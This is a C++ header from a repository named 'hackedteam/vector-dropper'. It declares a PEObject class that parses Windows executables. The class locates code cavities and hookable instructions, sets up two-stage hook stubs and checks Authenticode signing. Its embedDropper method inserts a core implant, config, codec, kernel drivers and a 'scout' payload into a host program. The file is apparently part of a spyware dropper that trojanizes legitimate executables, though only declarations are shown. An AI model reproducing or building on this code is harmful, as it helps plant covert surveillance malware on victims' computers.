hackedteam/vector-dropper

#ifndef _PEOBJECT_H
#define _PEOBJECT_H

#include <vector>
#include <iostream>
#include <fstream>
#include <map>
#include <ostream>
#include <string>
using namespace std;

#include <boost/scoped_ptr.hpp>
#include <boost/filesystem.hpp>
#include <boost/function.hpp>
namespace bf = boost::filesystem;

#include "common.h"
#include "tree.hpp"
#include "GenericSection.h"
#include "IATEntry.h"
#include "../libs/BeaEngine/BeaEngine.h"

#define STAGE1_STUB_SIZE 5    // call near, 32bit address
#define PE_MAX_DATA_SECTIONS 64

#define endian_swap4byte(x)            \
    x = ((x & 0x000000FF) << 24) |  \
        ((x & 0x0000FF00) << 8)  |  \
        ((x & 0x00FF0000) >> 8)  |  \
        ((x & 0xFF000000) >> 24)

typedef struct _PE_DOS_HEADER
{
    IMAGE_DOS_HEADER* header;
    std::size_t          stub_size;
    char*              stub;
} PEDOSHEADER;

typedef struct _PE_SECTION
{
    IMAGE_SECTION_HEADER* header;
    char*                 data;
} PESECTION;

typedef struct RESOURCE_DIRECTORY {
    IMAGE_RESOURCE_DIRECTORY Header;
    IMAGE_RESOURCE_DIRECTORY_ENTRY Entries[1];
} *PRESOURCE_DIRECTORY;

class GenericSection;
class DropperObject;
class ResourceSection;
class ResourceDirectory;

class parsing_error : public std::exception
{
public:
    parsing_error(const std::string& msg) : std::exception(msg.c_str()) {}
};

typedef struct _cavity_t {
    char* ptr;
    DWORD va;
    std::size_t size;
} Cavity;

class PEObject
{
private:    
    //std::fstream _sourceFile;
    //std::fstream _destinationFile;
    
    char* _rawData;
    std::size_t  _fileSize;
    
    PEDOSHEADER          _dosHeader;
    IMAGE_NT_HEADERS  *_ntHeader;
    
    std::vector<GenericSection *> _sections;
    GenericSection *_eofData;
    
    std::size_t _sectionHeadersPaddingSize;
    char* _sectionHeadersPadding;
    
    std::size_t _boundImportTableSize;
    PBYTE _boundImportTable;
    
    DWORD   _oep; // AddressOfEntryPoint
    
    struct {
        int ExitProcess;
        int exit;
        int _exit;
    } functionIndex;
    
    std::vector< Cavity > _cavities;

    std::map< std::string, std::map<std::string, DWORD> > _calls;
    IATEntries _iat;
    
    struct {
        struct {
            char* ptr;
            DWORD va;
            DWORD size;
        } stage1;
        struct {
            char* ptr;
            DWORD va;
            DWORD size;
        } stage2;
    } _hookPointer;


    
    // TODO this should be removed in favor of the above map
    DWORD _pLoadLibrary;
    DWORD _pGetProcAddress;
    
    bool _parseDOSHeader();
    bool _parseNTHeader();
    bool _parseIAT();
    bool _parseResources();
    
    void _findHookableInstruction();
    bool _parseText();
    
    struct {
        ResourceDirectory* dir;
        std::size_t size;
    } _resources;
    
    ResourceDirectory* _scanResources(char const * const data);
    ResourceDirectory* _scanResources(PRESOURCE_DIRECTORY rdRoot, PRESOURCE_DIRECTORY rdToScan, DWORD level);
    
    bool _updateResource(WCHAR* type, WCHAR* name, LANGID lang, PBYTE data, DWORD size);
    bool _updateResource(WORD type, WCHAR* name, LANGID lang, PBYTE data, DWORD size) 
    {
        return _updateResource(MAKEINTRESOURCEW(type), name, lang, data, size);
    }
    bool _updateResource(WCHAR* type, WORD name, LANGID lang, BYTE* data, DWORD size)
    {
        return _updateResource(type, MAKEINTRESOURCEW(name), lang, data, size);
    }
    bool _updateResource(WORD type, WORD name, LANGID lang, BYTE* data, DWORD size)
    {
        return _updateResource(MAKEINTRESOURCEW(type), MAKEINTRESOURCEW(name), lang, data, size);
    }

    DWORD _sizeOfResources();

    void _setResourceOffsets(ResourceDirectory* resDir, DWORD newResDirAt);
    
    bool _fixManifest();
    std::size_t _writeResources( char* data, DWORD virtualAddress );
    
    void _disassembleCode(unsigned char *start, unsigned char *end, int VA);
    
public:
    PEObject(char* data, std::size_t size);
    virtual ~PEObject(void);
    
    unsigned char * atOffset(DWORD offset) 
    {
        if (offset > _fileSize)
            return NULL;
        return (unsigned char *)( ((DWORD)this->_rawData) + offset); 
    }
    
    unsigned char * atRVA(DWORD rva)
    {
        DWORD offset = this->offset(rva);
        if (offset == 0)
            return NULL;
        return rva == 0 ? NULL : (unsigned char *)atOffset(offset);
    }
    
    DWORD offset(DWORD _rva);
    
    std::size_t resourceSize() { return _resources.size; }
    
    DWORD imageBase() { return _ntHeader->OptionalHeader.ImageBase; }
    DWORD fileAlignment() { return _ntHeader->OptionalHeader.FileAlignment; }
    DWORD sectionAlignment() { return _ntHeader->OptionalHeader.SectionAlignment; }
    
    PEDOSHEADER dosHeader() { return _dosHeader; }
    PIMAGE_NT_HEADERS ntHeaders() { return _ntHeader; }
    PIMAGE_DATA_DIRECTORY dataDirectory(DWORD entry) { return &_ntHeader->OptionalHeader.DataDirectory[entry]; }
    
    bool parse();
    bool saveToFile( std::string filename );
    
    DWORD epRVA() { return _ntHeader->OptionalHeader.AddressOfEntryPoint; }
    DWORD epVA() { return _ntHeader->OptionalHeader.ImageBase + _ntHeader->OptionalHeader.AddressOfEntryPoint; }
    void writeData(DWORD rva, char * data, size_t size);
    
    unsigned char* GetOEPCode();
    
    bool hasResources() { return _ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress == 0 ? false : true; }
    
    GenericSection* getSection( DWORD directoryEntryID );
    GenericSection* findSection( DWORD rva );
    
    void setSection( DWORD directoryEntryID, GenericSection* section );
    void setSection( DWORD directoryEntryID, DWORD VirtualAddress, DWORD VirtualSize );
    
    bool isAuthenticodeSigned();
    
    bool embedDropper( bf::path core, bf::path core64, bf::path config, bf::path codec, bf::path driver, bf::path driver64, std::string installDir, bool fixManifest, std::string fPrefix, bf::path demoBitmap, BOOL isScout, bf::path scout);
    
    typedef struct {
        DISASM d;
        std::size_t len;
    } disassembled_instruction;
    std::vector<disassembled_instruction> instructions_;
    disassembled_instruction hookedInstruction_;
    
    IATEntry const & getIATEntry( std::string const dll, std::string const call );
    IATEntry const & getIATEntry( DWORD const rva );

    ULONG exeType;
};

#endif /* _PEOBJECT_H */